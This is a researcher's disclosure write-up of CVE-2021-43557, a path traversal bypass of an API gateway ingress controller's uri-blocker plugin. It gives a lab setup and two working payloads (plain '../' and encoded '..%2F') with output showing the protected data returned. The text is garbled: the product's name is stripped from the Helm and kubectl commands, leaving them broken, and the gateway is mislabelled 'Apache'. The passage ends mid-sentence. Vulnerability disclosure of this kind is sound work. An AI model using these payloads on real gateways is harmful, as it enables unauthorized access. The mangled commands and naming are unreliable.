Research report about Apache Path traversal in request_uri variable(CVE-2021-43557)
In this article I will present my research on insecure usage of $request_uri
variable in Apache ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557. At the end of article I will mention in short Skipper which I tested for same problem.
Apache is a dynamic, real-time, high-performance API gateway. provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
Why $request_uri
? This variable is many times used in authentication and authorization plugins. It’s not normalized, so giving a possibility to bypass some restrictions.
In Apache there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that is vulnerable to path-traversal I will use uri-blocker
plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.
Setting the stage
Install Apache into Kubernetes. Use Helm Chart with version 0.7.2:
helm repo add bitnami https://charts.bitnami.com/bitnamihelm repo updatekubectl create ns ingress-helm install / \ --set gateway.type=NodePort \ --set ingress-controller.enabled=true \ --namespace ingress- \ --version 0.7.2kubectl get service --namespace ingress-
In case of problems follow official guide.
To create ingress route, you need to deploy Route
resource:
apiVersion: .apache.org/v2beta1kind: Routemetadata: name: public-service-routespec: http: - name: public-service-rule match: hosts: - app.test paths: - /public-service/* backends: - serviceName: public-service servicePort: 8080 plugins: - name: proxy-rewrite enable: true config: regex_uri: ["/public-service/(.*)", "/$1"] - name: protected-service-rule match: hosts: - app.test paths: - /protected-service/* backends: - serviceName: protected-service servicePort: 8080 plugins: - name: uri-blocker enable: true config: block_rules: ["^/protected-service(/?).*"] case_insensitive: true - name: proxy-rewrite enable: true config: regex_uri: ["/protected-service/(.*)", "/$1"]
Let’s dive deep into it:
- It creates routes for
public-service
andprivate-service
- There is
proxy-rewrite
turned on to remove prefixes - There is
uri-blocker
plugin configured forprotected-service
. It can look like mistake but this plugin it about to block any requests starting with/protected-service
Exploitation
I’m using Apache in version 2.10.0.
Reaching out to Apache routes in minikube is quite inconvenient: kubectl exec -it -n ${namespace of Apache } ${Pod name of Apache } -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
. To ease my pain I will write small script that will work as template:
#/bin/bashkubectl exec -it -n ingress- -dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
In your case replace -dc9d99d76-vl5lh
with name of actual Apache pod.
Let’s start with validation if routes and plugins are working as expected:
$ ./_request.sh "/public-service/public"Defaulted container "" out of: , wait-etcd (init){"data":"public data"}
$ ./_request.sh "/protected-service/protected"Defaulted container "" out of: , wait-etcd (init)<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Yep. public-service
is available and protected-service
is blocked by plugin.
Now let’s test payloads:
$ ./_request.sh "/public-service/../protected-service/protected"Defaulted container "" out of: , wait-etcd (init){"data":"protected data"}
and second one:
$ ./_request.sh "/public-service/..%2Fprotected-service/protected"Defaulted container "" out of: , wait-etcd (init){"data":"protected data"}
As you can see in both cases I was able to bypass uri restrictions.
Root cause
uri-blocker
plugin is using ctx.var.request_uri
variable in logic of making blocking decision. You can check it